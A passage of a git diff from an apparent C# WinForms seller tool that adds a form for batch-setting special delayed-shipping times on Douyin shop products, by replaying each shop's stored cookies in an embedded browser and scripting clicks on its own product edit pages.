this.splitContainer2.Panel1.Controls.Add(this.dgvShop); + this.splitContainer2.Panel1.Padding = new System.Windows.Forms.Padding(4, 0, 0, 0); + // + // splitContainer2.Panel2 + // + this.splitContainer2.Panel2.Controls.Add(this.panelEx1); + this.splitContainer2.Panel2.Padding = new System.Windows.Forms.Padding(0, 0, 4, 0); + this.splitContainer2.Size = new System.Drawing.Size(1139, 486); + this.splitContainer2.SplitterDistance = 347; + this.splitContainer2.TabIndex = 0; + // + // dgvShop + // + this.dgvShop.AllowUserToAddRows = false; + this.dgvShop.AllowUserToDeleteRows = false; + dataGridViewCellStyle1.BackColor = System.Drawing.Color.WhiteSmoke; + this.dgvShop.AlternatingRowsDefaultCellStyle = dataGridViewCellStyle1; + this.dgvShop.BackgroundColor = System.Drawing.Color.White; + this.dgvShop.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + dataGridViewCellStyle2.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle2.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle2.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + dataGridViewCellStyle2.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle2.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle2.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle2.WrapMode = System.Windows.Forms.DataGridViewTriState.False; + this.dgvShop.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle2; + this.dgvShop.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.dgvShop.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.colSelect, + this.colShopId, + this.colShopName, + this.colLoginStatus, + this.colMessage}); + this.dgvShop.Dock = System.Windows.Forms.DockStyle.Fill; + this.dgvShop.Location = new System.Drawing.Point(4, 0); + this.dgvShop.Name = "dgvShop"; + this.dgvShop.ReadOnly = true; + dataGridViewCellStyle3.Font = new System.Drawing.Font("微软雅黑", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.dgvShop.RowsDefaultCellStyle = dataGridViewCellStyle3; + this.dgvShop.RowTemplate.Height = 23; + this.dgvShop.Size = new System.Drawing.Size(343, 486); + this.dgvShop.TabIndex = 6; + this.dgvShop.CellContentClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.dgvShop_CellContentClick); + // + // colSelect + // + this.colSelect.FillWeight = 50F; + this.colSelect.HeaderText = "选"; + this.colSelect.Name = "colSelect"; + this.colSelect.ReadOnly = true; + this.colSelect.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.colSelect.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + this.colSelect.Width = 40; + // + // colShopId + // + this.colShopId.HeaderText = "店铺"; + this.colShopId.Name = "colShopId"; + this.colShopId.ReadOnly = true; + this.colShopId.Width = 70; + // + // colShopName + // + this.colShopName.FillWeight = 150F; + this.colShopName.HeaderText = "店铺名称"; + this.colShopName.Name = "colShopName"; + this.colShopName.ReadOnly = true; + this.colShopName.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.colShopName.Width = 90; + // + // colLoginStatus + // + this.colLoginStatus.HeaderText = "可用"; + this.colLoginStatus.Name = "colLoginStatus"; + this.colLoginStatus.ReadOnly = true; + this.colLoginStatus.Width = 60; + // + // colMessage + // + this.colMessage.HeaderText = "消息"; + this.colMessage.Name = "colMessage"; + this.colMessage.ReadOnly = true; + this.colMessage.Width = 120; + // + // panelEx1 + // + this.panelEx1.CanvasColor = System.Drawing.SystemColors.Control; + this.panelEx1.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.panelEx1.Controls.Add(this.pnlShowError); + this.panelEx1.DisabledBackColor = System.Drawing.Color.Empty; + this.panelEx1.Dock = System.Windows.Forms.DockStyle.Fill; + this.panelEx1.Location = new System.Drawing.Point(0, 0); + this.panelEx1.Name = "panelEx1"; + this.panelEx1.Padding = new System.Windows.Forms.Padding(1); + this.panelEx1.Size = new System.Drawing.Size(784, 486); + this.panelEx1.Style.Alignment = System.Drawing.StringAlignment.Center; + this.panelEx1.Style.BackColor1.Color = System.Drawing.Color.White; + this.panelEx1.Style.BackColor2.Color = System.Drawing.Color.White; + this.panelEx1.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.panelEx1.Style.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.panelEx1.Style.ForeColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelText; + this.panelEx1.Style.GradientAngle = 90; + this.panelEx1.TabIndex = 183; + // + // pnlShowError + // + this.pnlShowError.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.pnlShowError.CanvasColor = System.Drawing.Color.Empty; + this.pnlShowError.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.pnlShowError.DisabledBackColor = System.Drawing.Color.Empty; + this.pnlShowError.Location = new System.Drawing.Point(182, 192); + this.pnlShowError.Name = "pnlShowError"; + this.pnlShowError.Size = new System.Drawing.Size(419, 100); + this.pnlShowError.Style.Alignment = System.Drawing.StringAlignment.Center; + this.pnlShowError.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(163)))), ((int)(((byte)(226)))), ((int)(((byte)(255))))); + this.pnlShowError.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(163)))), ((int)(((byte)(226)))), ((int)(((byte)(255))))); + this.pnlShowError.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.pnlShowError.Style.CornerType = DevComponents.DotNetBar.eCornerType.Rounded; + this.pnlShowError.Style.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.pnlShowError.Style.ForeColor.Color = System.Drawing.Color.Red; + this.pnlShowError.Style.GradientAngle = 90; + this.pnlShowError.TabIndex = 187; + this.pnlShowError.Text = "panelEx3"; + this.pnlShowError.Visible = false; + // + // splitContainer4 + // + this.splitContainer4.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer4.FixedPanel = System.Windows.Forms.FixedPanel.Panel2; + this.splitContainer4.Location = new System.Drawing.Point(0, 0); + this.splitContainer4.Name = "splitContainer4"; + // + // splitContainer4.Panel1 + // + this.splitContainer4.Panel1.Controls.Add(this.statusBar); + this.splitContainer4.Size = new System.Drawing.Size(1139, 26); + this.splitContainer4.SplitterDistance = 732; + this.splitContainer4.TabIndex = 3; + // + // statusBar + // + this.statusBar.BackColor = System.Drawing.Color.White; + this.statusBar.Dock = System.Windows.Forms.DockStyle.Fill; + this.statusBar.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.statusBar.Location = new System.Drawing.Point(0, 0); + this.statusBar.Margin = new System.Windows.Forms.Padding(0); + this.statusBar.Name = "statusBar"; + this.statusBar.Size = new System.Drawing.Size(732, 26); + this.statusBar.TabIndex = 2; + // + // SpecialDelaySendForm + // + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.None; + this.BackColor = System.Drawing.Color.White; + this.ClientSize = new System.Drawing.Size(1139, 601); + this.Controls.Add(this.splitContainer1); + this.Name = "SpecialDelaySendForm"; + this.Text = "SpecialDelaySendForm"; + this.Load += new System.EventHandler(this.SpecialDelaySendForm_Load); + this.VisibleChanged += new System.EventHandler(this.SpecialDelaySendForm_VisibleChanged); + this.splitContainer1.Panel1.ResumeLayout(false); + this.splitContainer1.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).EndInit(); + this.splitContainer1.ResumeLayout(false); + this.ucGroupBoxEx2.ResumeLayout(false); + this.ucGroupBoxEx2.PerformLayout(); + this.ucGroupBoxEx1.ResumeLayout(false); + this.splitContainer3.Panel1.ResumeLayout(false); + this.splitContainer3.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer3)).EndInit(); + this.splitContainer3.ResumeLayout(false); + this.splitContainer2.Panel1.ResumeLayout(false); + this.splitContainer2.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer2)).EndInit(); + this.splitContainer2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.dgvShop)).EndInit(); + this.panelEx1.ResumeLayout(false); + this.splitContainer4.Panel1.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer4)).EndInit(); + this.splitContainer4.ResumeLayout(false); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.SplitContainer splitContainer1; + private UserComponent.UcGroupBoxEx ucGroupBoxEx2; + private System.Windows.Forms.TextBox txtTotalCount; + private System.Windows.Forms.Label label26; + private UserComponent.UcGroupBoxEx ucGroupBoxEx1; + private UserControls.ButtonEx btnRefresh; + private UserControls.ButtonEx btnStop; + private UserControls.ButtonEx btnStart; + private System.Windows.Forms.SplitContainer splitContainer3; + private System.Windows.Forms.SplitContainer splitContainer2; + private UserComponent.DataGridViewEx dgvShop; + private DevComponents.DotNetBar.PanelEx panelEx1; + private DevComponents.DotNetBar.PanelEx pnlShowError; + private System.Windows.Forms.SplitContainer splitContainer4; + private UserControls.StatusBarUserControl statusBar; + private System.Windows.Forms.TextBox txtNotOperateDays; + private System.Windows.Forms.CheckBox chkIsNotOperateDays; + private System.Windows.Forms.DataGridViewCheckBoxColumn colSelect; + private System.Windows.Forms.DataGridViewTextBoxColumn colShopId; + private System.Windows.Forms.DataGridViewTextBoxColumn colShopName; + private System.Windows.Forms.DataGridViewTextBoxColumn colLoginStatus; + private System.Windows.Forms.DataGridViewTextBoxColumn colMessage; + private System.Windows.Forms.Label label1; + } +} \ No newline at end of file diff --git a/TEMUKJD/KJDForms/UploadForms/SpecialDelaySendForm.cs b/TEMUKJD/KJDForms/UploadForms/SpecialDelaySendForm.cs new file mode 100644 index 0000000..8f25352 --- /dev/null +++ b/TEMUKJD/KJDForms/UploadForms/SpecialDelaySendForm.cs @@ -0,0 +1,557 @@ +using AllBase; +using AllBase.Helper; +using AllBase.Model.Result; +using CefSharp.WinForms; +using LittleRabbit.Extension; +using LittleRabbit.LittleRabbitForms.BaseForms; +using NaiBa.CefHelper; +using NaiBa.CefHelper.Handler; +using NaiBa.Util.Extension; +using Newtonsoft.Json.Linq; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using System.Windows.Forms; +using Work.DouyinApiClass; + +namespace LittleRabbit.LittleRabbitForms.UploadForms +{ + public partial class SpecialDelaySendForm : Form + { + private CheckBox chkSelectAll = null; + bool isNotOperateDays = true; + public DateTime notOperateDate = DateTime.Now.Date.AddDays(-7); + CancellationTokenSource cancellationTokenSource = null; + ChromiumWebBrowser webBrowser = null; + int operateCount = 999999; + string keyWords = ""; + bool isRun = false; + public SpecialDelaySendForm() + { + InitializeComponent(); + } + + private void btnRefresh_Click(object sender, EventArgs e) + { + LoadShops(); + } + + private void SpecialDelaySendForm_VisibleChanged(object sender, EventArgs e) + { + if (Visible) + LoadShops(); + } + + private void txtNotOperateDays_TextChanged(object sender, EventArgs e) + { + if (txtNotOperateDays.ParseToInt() > 15) + txtNotOperateDays.Text = "15"; + } + + public void LoadShops() + { + for (int i = 0; i < GlobalConfig.DouShopLoginList.Count; i++) + { + var shop = GlobalConfig.DouShopLoginList[i]; + var row = dgvShop.Rows.Cast().FirstOrDefault(r => r.Cells["colShopId"].Value?.ToString() == shop.ShopAccountId); + if (row == null) + dgvShop.Rows.Add(false, shop.ShopAccountId, shop.ShopAccount, shop.LoginStatus == "登录成功" && shop.ApiAuthStatus == "授权成功" ? "可用" : ""); + else + { + row.Cells["colLoginStatus"].Value = shop.LoginStatus; + } + } + } + + public string GetShopProductListData(DouShopLoginInfo shop, int productStatus = 0, int page = 1, int pageSize = 50) + { + // 读取在售商品数量 + Dictionary dictionary = new Dictionary(); + dictionary.Add("page", page.ToString()); + dictionary.Add("size", pageSize.ToString()); + if (productStatus == 0) + dictionary.Add("check_status", "3"); + dictionary["status"] = productStatus.ToString(); + DouyinApi douApi = new DouyinApi(shop); + douApi.JsonData = dictionary; + var resultOnline = douApi.GetProductList(); + return resultOnline; + } + void GetShopProduct(DouShopLoginInfo shop, bool isShowResult = true) + { + DataGridViewRow row = null; + Invoke(new Action(() => + { + row = this.dgvShop.Rows.Cast().FirstOrDefault(r => r.Cells["colShopId"].Value.ToString() == shop.ShopAccountId); + if (row != null) + { + if (isShowResult) + row.Cells["colMessage"].Value = "正在获取店铺商品数量"; + } + })); + + // 读取在售商品数量 + var resultOnline = GetShopProductListData(shop, 0, 1, 10); + if (resultOnline.Contains("\"code\":10000")) + { + if (row != null) + { + var text = BaseRegex.GetStringJson(ref resultOnline, "total"); + shop.OnlineProductCount = text.ParseToInt(); + + Invoke(new Action(() => + { + //row.Cells["colOnSaleCount"].Value = string.IsNullOrEmpty(text) ? "" : text; + })); + } + } + // 读取下架商品数量 + var resultOffline = GetShopProductListData(shop, 1, 1, 10); + if (resultOffline.Contains("\"code\":10000")) + { + if (row != null) + { + var text = BaseRegex.GetStringJson(ref resultOffline, "total"); + shop.OfflineProductCount = text.ParseToInt(); + + Invoke(new Action(() => + { + //row.Cells["colOffSaleCount"].Value = string.IsNullOrEmpty(text) ? "" : text; + })); + } + } + + string resultShowText = ""; + if (resultOnline.Contains("\"code\":10000") && resultOffline.Contains("\"code\":10000")) + { + resultShowText = "商品数量获取成功"; + } + else + { + resultShowText = "商品数量获取失败"; + if (!resultOnline.Contains("\"code\":10000")) + { + var html = BaseRegex.GetStringJson(ref resultOnline, "sub_msg"); + if (string.IsNullOrEmpty(html)) + html = resultOnline; + resultShowText += ",获取在售商品错误:" + html; + } + if (!resultOffline.Contains("\"code\":10000")) + { + var html = BaseRegex.GetStringJson(ref resultOffline, "sub_msg"); + if (string.IsNullOrEmpty(html)) + html = resultOffline; + resultShowText += ",获取仓库商品错误:" + html; + } + } + Invoke(new Action(() => + { + if (row != null) + { + if (isShowResult) + row.Cells["colMessage"].Value = resultShowText; + } + })); + } + + private void btnStart_Click(object sender, EventArgs e) + { + this.operateCount = this.txtTotalCount.Text.ParseToInt(); + var shopIds = this.dgvShop.Rows.Cast().Where(r => r.Cells["colSelect"].Value.ParseToBool() == true) + .Select(r => r.Cells["colShopId"].Value?.ToString()).ToList(); + var shops = GlobalConfig.DouShopLoginList.Where(s => shopIds.Contains(s.ShopAccountId)).ToList(); + if (shops.Count == 0) + { + BaseMsgForm.ShowError("请选择要操作的店铺"); + return; + } + + isRun = true; + isNotOperateDays = chkIsNotOperateDays.Checked; + notOperateDate = DateTime.Now.Date.AddDays(0 - this.txtNotOperateDays.Text.ParseToInt()); + btnStart.Enabled = false; + cancellationTokenSource = new CancellationTokenSource(); + SetDelaySendCef(shops); + Task.Run(() => + { + Thread.Sleep(8000); + Invoke(new Action(() => { btnStart.Enabled = true; })); + }); + } + + void SetDelaySendCef(List shops) + { + Task.Run(() => + { + InitCef(); + + while (!webBrowser.IsBrowserInitialized || webBrowser.IsLoading) + continue; + + for (int num = 0; num < shops.Count; num++) + { + Thread.Sleep(500); + + var shop = shops[num]; + if (shop == null) + { + continue; + } + + if (!isRun) + { + Invoke(new Action(() => + { + var row1 = dgvShop.Rows.Cast().FirstOrDefault(r => r.Cells["colShopId"].Value?.ToString() == shop.ShopAccountId); + if (row1 != null) + row1.Cells["colMessage"].Value = "设置中断"; + })); + break; + } + Invoke(new Action(() => + { + this.statusBar.pgbTaskProgress.Maximum = shops.Count; + this.statusBar.lblTaskStatus.Text = "正在获取店铺:" + shop.ShopAccount + "商品"; + this.statusBar.pgbTaskProgress.Value = (num + 1); + this.statusBar.pgbTaskProgress.Text = (num + 1) + "/" + shops.Count; + })); + + // 获取商品数 + GetShopProduct(shop); + + int totalNumBase = shop.OnlineProductCount; // 下架开始时的在售商品数 + int totalNum = shop.OnlineProductCount; // 在售商品数 + int setNum = 0; // 下架商品数量(因关键词存在因此少于或等于商品循环计数) + int currentNum = 0; // 商品循环计数 + int page = 0; + int pageSize = 50; + string offSaleMessage = ""; + List productList = new List(); + + var onlineProductHtml = ""; + + while ((currentNum < operateCount && currentNum < totalNumBase) || page == 0) + { + page += 1; + currentNum += pageSize; + if (cancellationTokenSource != null && cancellationTokenSource.IsCancellationRequested) + { + var row = this.dgvShop.Rows.Cast().FirstOrDefault(r => r.Cells["colShopId"].Value.ToString() == shop.ShopAccountId); + if (row != null) { Invoke(new Action(() => { row.Cells["colMessage"].Value = "下架中断"; })); } + break; + } + + // 获取商品列表 + onlineProductHtml = GetShopProductListData(shop, 0, page); + Thread.Sleep(Randomx.GetId(500, 1000)); + + if (onlineProductHtml.Contains("\"code\":10000")) + { + totalNum = BaseRegex.GetIntJson(ref onlineProductHtml, "total"); + shop.OfflineProductCount = totalNum; + + if (operateCount > totalNumBase) + operateCount = totalNumBase; + if (currentNum > totalNumBase) + currentNum = totalNumBase; + + Invoke(new Action(() => + { + var row = this.dgvShop.Rows.Cast().FirstOrDefault(r => r.Cells["colShopId"].Value.ToString() == shop.ShopAccountId); + if (row != null) + { + //row.Cells["colOnSaleCount"].Value = totalNumBase; + } + })); + if (totalNum == 0) + { + offSaleMessage = "设置结束,店铺没有在售的商品"; + Invoke(new Action(() => + { + var row = this.dgvShop.Rows.Cast().FirstOrDefault(r => r.Cells["colShopId"].Value.ToString() == shop.ShopAccountId); + if (row != null) { row.Cells["colMessage"].Value = offSaleMessage; } + })); + break; + } + + try + { + JObject jObj = JObject.Parse(onlineProductHtml); + var jObjDataStr = jObj["data"]?["data"]?.ToString(); + if (!string.IsNullOrEmpty(jObjDataStr)) + { + var addList = JsonHelper.DeserializeJsonToList(jObjDataStr); + if (addList != null) + productList.AddRange(addList); + } + offSaleMessage = "正在获取商品,第" + currentNum + "件商品,共" + operateCount + "件商品"; + Invoke(new Action(() => + { + var row = this.dgvShop.Rows.Cast().FirstOrDefault(r => r.Cells["colShopId"].Value.ToString() == shop.ShopAccountId); + if (row != null) { row.Cells["colMessage"].Value = offSaleMessage; } + })); + } + catch (Exception ex) + { + BaseMsgForm.ShowError("获取商品发生错误:" + ex.Message); + } + } + else + { + var failMessage = BaseRegex.GetStringJson(ref onlineProductHtml, "sub_msg"); + if (string.IsNullOrEmpty(failMessage)) + failMessage = onlineProductHtml; + offSaleMessage = ("设置发货延迟失败," + failMessage).TrimEnd(','); + Invoke(new Action(() => + { + var row = this.dgvShop.Rows.Cast().FirstOrDefault(r => r.Cells["colShopId"].Value.ToString() == shop.ShopAccountId); + if (row != null) { row.Cells["colMessage"].Value = offSaleMessage; } + })); + } + } + + // 有关键词的过滤符合关键词 + if (keyWords.Any()) + productList = productList.Where(p => keyWords.Any(key => p.name.Contains(key))).ToList(); + + // 只操作指定天数之前修改的商品 + if (isNotOperateDays) + productList = productList.Where(p => p.update_time < BaseClass.DateTimeToTimestampSeconds(notOperateDate)).ToList(); + + // 操作数大于满足筛选条件商品数时,操作数改为商品数 + if (operateCount > productList.Count) + operateCount = productList.Count; + + for (int i = 0; i < productList.Count && i < operateCount; i++) + { + if (cancellationTokenSource != null && cancellationTokenSource.IsCancellationRequested) + { + var row = this.dgvShop.Rows.Cast().FirstOrDefault(r => r.Cells["colShopId"].Value.ToString() == shop.ShopAccountId); + if (row != null) { Invoke(new Action(() => { row.Cells["colMessage"].Value = "设置发货延迟中断"; })); } + break; + } + + Invoke(new Action(() => + { + offSaleMessage = "正在设置发货延迟,第 " + (i + 1) + " 件商品,共 " + operateCount + " 件商品"; + var row = this.dgvShop.Rows.Cast().FirstOrDefault(r => r.Cells["colShopId"].Value.ToString() == shop.ShopAccountId); + if (row != null) { row.Cells["colMessage"].Value = offSaleMessage; } + this.statusBar.lblTaskStatus.Text = offSaleMessage; + })); + Thread.Sleep(50); + + var product = productList[i]; + setNum++; + + var pid = product.product_id; + var cid = product.category_detail.fourth_cid; + if (cid == 0) + cid = product.category_detail.third_cid; + if (cid == 0) + cid = product.category_detail.second_cid; + if (cid == 0) + cid = product.category_detail.first_cid; + Thread.Sleep(Randomx.GetId(100, 300)); + + var cookie = shop.Cookies; + CEFBrowser.DeleteCookie(webBrowser.RequestContext.GetCookieManager(null)); + var t = CEFBrowser.SetCookieAsync("jinritemai.com", cookie, webBrowser.RequestContext.GetCookieManager(null)); + t.Wait(2000); + Thread.Sleep(500); + this.webBrowser.Load("https://fxg.jinritemai.com/ffa/g/create?product_id=" + pid + "&cid=" + cid + "&entrance=edit"); + Thread.Sleep(3000); + while (webBrowser.IsLoading) + { + Thread.Sleep(1000); + } + var jsStr = getJsElementStr + + "function getPos(elem) { var box = elem;" + + "if (box == null) return '-|-';" + + "var actualLeft = box.offsetLeft;" + + "var actualTop = box.offsetTop;" + + "var current = box.offsetParent;" + + "while (current !== null) { actualLeft += current.offsetLeft; actualTop += current.offsetTop; current = current.offsetParent; }" + + "return '' + actualLeft + '|' + actualTop;}\r\n" + + "getPos(getElement('特殊日期延迟发货时间'));"; + + var result = ""; + for (int x = 0; x < 100 && string.IsNullOrEmpty(result); x++) + { + var task = webBrowser.GetBrowser().MainFrame.EvaluateScriptAsync(jsStr); + task.Wait(); + result = task.Result?.Result?.ToString(); + Thread.Sleep(1000); + } + Thread.Sleep(3000); + + if (string.IsNullOrEmpty(result) || result == "-|-") + { + continue; + } + + jsStr = "document.getElementById('goodsEditScrollContainer').scrollTop = " + result.Split('|').LastOrDefault() + ";"; + { + var task = webBrowser.GetBrowser().MainFrame.EvaluateScriptAsync(jsStr); + task.Wait(); + result = task.Result?.Result?.ToString(); + Thread.Sleep(1500); + } + + jsStr = "function clickSwitchButton() { if (document.body.innerHTML.indexOf('最晚发货时间') < 0) document.getElementsByClassName('ant-switch')[0].click(); }\r\n" + + "clickSwitchButton();"; + { + var task = webBrowser.GetBrowser().MainFrame.EvaluateScriptAsync(jsStr); + task.Wait(); + result = task.Result?.Result?.ToString(); + Thread.Sleep(1500 + Randomx.GetId(1000)); + } + + jsStr = "document.getElementsByClassName('ant-btn sp-tooltip ant-btn-primary')[0].click();"; + { + var task = webBrowser.GetBrowser().MainFrame.EvaluateScriptAsync(jsStr); + task.Wait(); + result = task.Result?.Result?.ToString(); + Thread.Sleep(5000); + } + + if (i == operateCount - 1) + { + offSaleMessage = "设置特殊发货时间完成"; + Invoke(new Action(() => + { + var row = this.dgvShop.Rows.Cast().FirstOrDefault(r => r.Cells["colShopId"].Value.ToString() == shop.ShopAccountId); + if (row != null) { row.Cells["colMessage"].Value = offSaleMessage; } + })); + } + // 操作过程中更新显示仓库商品数 + if (i % 50 == 49 || i == operateCount - 1) + GetShopProduct(shop, false); + } + } + Invoke(new Action(() => + { + this.btnStart.Enabled = true; + if (cancellationTokenSource != null && !cancellationTokenSource.IsCancellationRequested) + { + var text = "设置特殊发货时间完成!"; + //if (!string.IsNullOrEmpty(FailedMessages)) + //{ + // text += "部分商品设置发货延迟失败,请查看详情。"; + // btnFailedDetail.Visible = true; + //} + this.statusBar.lblTaskStatus.Text = text; + BaseMsgForm.ShowInfo(text); + } + else + { + var text = "设置特殊发货时间完成!"; + //if (!string.IsNullOrEmpty(FailedMessages)) + //{ + // text += "部分商品设置发货延迟失败,请查看详情。"; + // btnFailedDetail.Visible = true; + //} + this.statusBar.lblTaskStatus.Text = text; + BaseMsgForm.ShowInfo(text); + } + })); + }, cancellationTokenSource.Token); + } + + void InitCef() + { + if (webBrowser == null) + { + Invoke(new Action(() => + { + webBrowser = CEFBrowser.CreateChromiumWebBrowser("about:blank", false); + webBrowser.KeyboardHandler = new KeyboardHandler(); + webBrowser.Dock = DockStyle.Fill; + webBrowser.SendToBack(); + this.panelEx1.Controls.Add(webBrowser); + })); + } + } + + private void dgvShop_CellContentClick(object sender, DataGridViewCellEventArgs e) + { + if (e.ColumnIndex < 0 || e.RowIndex < 0) + return; + string headerText = dgvShop.Columns[e.ColumnIndex].HeaderText; + long shopId = dgvShop.Rows[e.RowIndex].Cells["colShopId"].Value.ParseToLong(); + string shopName = dgvShop.Rows[e.RowIndex].Cells["colShopId"].Value.ToString(); + var shop = GlobalConfig.DouShopLoginList.FirstOrDefault(s => s.ShopAccountId == shopId.ToString()); + switch (headerText) + { + case "操作": + case "全选": + case "选": + if (shop.LoginStatus == "登录成功" && shop.ApiAuthStatus == "授权成功") + { + dgvShop.Rows[e.RowIndex].Cells["colSelect"].Value = !dgvShop.Rows[e.RowIndex].Cells["colSelect"].Value.ParseToBool(); + } + else + { + BaseMsgForm.ShowInfo("店铺未授权或未登录"); + } + break; + } + } + + private void SpecialDelaySendForm_Load(object sender, EventArgs e) + { + chkSelectAll = dgvShop.Columns["colSelect"].AddHeaderCheckBox(HorizontalAlignment.Right, 0, 0, null, null, false); + chkSelectAll.Width = chkSelectAll.Height = 13; + chkSelectAll.CheckedChanged += chkSelectAll_CheckedChanged; + } + + private void chkSelectAll_CheckedChanged(object sender, EventArgs e) + { + if (!chkSelectAll.Checked) + { + foreach (DataGridViewRow row in dgvShop.Rows) + { + row.Cells["colSelect"].Value = false; + } + } + else + { + var list = GlobalConfig.DouShopLoginList.Where(s => s.ApiAuthStatus == "授权成功" && s.LoginStatus == "登录成功").Select(ss => ss.ShopAccountId); + foreach (DataGridViewRow row in dgvShop.Rows) + { + if (list.Any(l => l == row.Cells["colShopId"]?.Value?.ToString())) + row.Cells["colSelect"].Value = true; + } + } + } + + public string getJsElementStr = "function getElement(txt, elem) {\r\n" + + " var child = document.body.firstElementChild;\r\n" + + " if (elem) child = elem\r\n" + + " var element1 = null;\r\n" + + " while (child) {\r\n" + + " if (child.innerHTML.indexOf(txt) >= 0) {\r\n" + + " element1 = child;\r\n" + + " if (child.firstElementChild) {\r\n" + + " child = child.firstElementChild; continue;\r\n" + + " } else break;\r\n" + + " }\r\n" + + " child = child.nextElementSibling;\r\n" + + " }\r\n" + + " if (element1) {\r\n" + + " return element1;\r\n" + + " } else return error;\r\n" + + "}\r\n"; + + private void btnStop_Click(object sender, EventArgs e) + { + if (cancellationTokenSource != null) + cancellationTokenSource.Cancel(); + } + } +} diff --git a/TEMUKJD/KJDForms/UploadForms/SpecialDelaySendForm.resx b/TEMUKJD/KJDForms/UploadForms/SpecialDelaySendForm.resx new file mode 100644 index 0000000..4a0af8d --- /dev/null +++ b/TEMUKJD/KJDForms/UploadForms/SpecialDelaySendForm.resx @@ -0,0 +1,132 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + True + + + True + + + True + + + True + + \ No newline at end of file diff --git a/TEMUKJD/KJDForms/UploadForms/StockSyncForm.Designer.cs b/TEMUKJD/KJDForms/UploadForms/StockSyncForm.Designer.cs new file mode 100644 index 0000000..f96fcf6 --- /dev/null +++ b/TEMUKJD/KJDForms/UploadForms/StockSyncForm.Designer.cs @@ -0,0 +1,457 @@ +namespace LittleRabbit.LittleRabbitForms.UploadForms +{ + partial class StockSyncForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.components = new System.ComponentModel.Container(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle4 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle5 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle6 = new System.Windows.Forms.DataGridViewCellStyle(); + this.splitContainer1 = new System.Windows.Forms.SplitContainer(); + this.txtKeywords = new System.Windows.Forms.TextBox(); + this.ucGroupBoxEx3 = new LittleRabbit.UserComponent.UcGroupBoxEx(this.components); + this.btnStop = new LittleRabbit.UserControls.ButtonEx(); + this.btnSetStock = new LittleRabbit.UserControls.ButtonEx(); + this.ucGroupBoxEx1 = new LittleRabbit.UserComponent.UcGroupBoxEx(this.components); + this.btnGetProductCount = new LittleRabbit.UserControls.ButtonEx(); + this.btnRefreshShop = new LittleRabbit.UserControls.ButtonEx(); + this.ucGroupBoxEx2 = new LittleRabbit.UserComponent.UcGroupBoxEx(this.components); + this.txtStockCount = new System.Windows.Forms.TextBox(); + this.label2 = new System.Windows.Forms.Label(); + this.txtOperateCount = new System.Windows.Forms.TextBox(); + this.label12 = new System.Windows.Forms.Label(); + this.splitContainer2 = new System.Windows.Forms.SplitContainer(); + this.dgvShop = new LittleRabbit.UserComponent.DataGridViewEx(); + this.colSelect = new 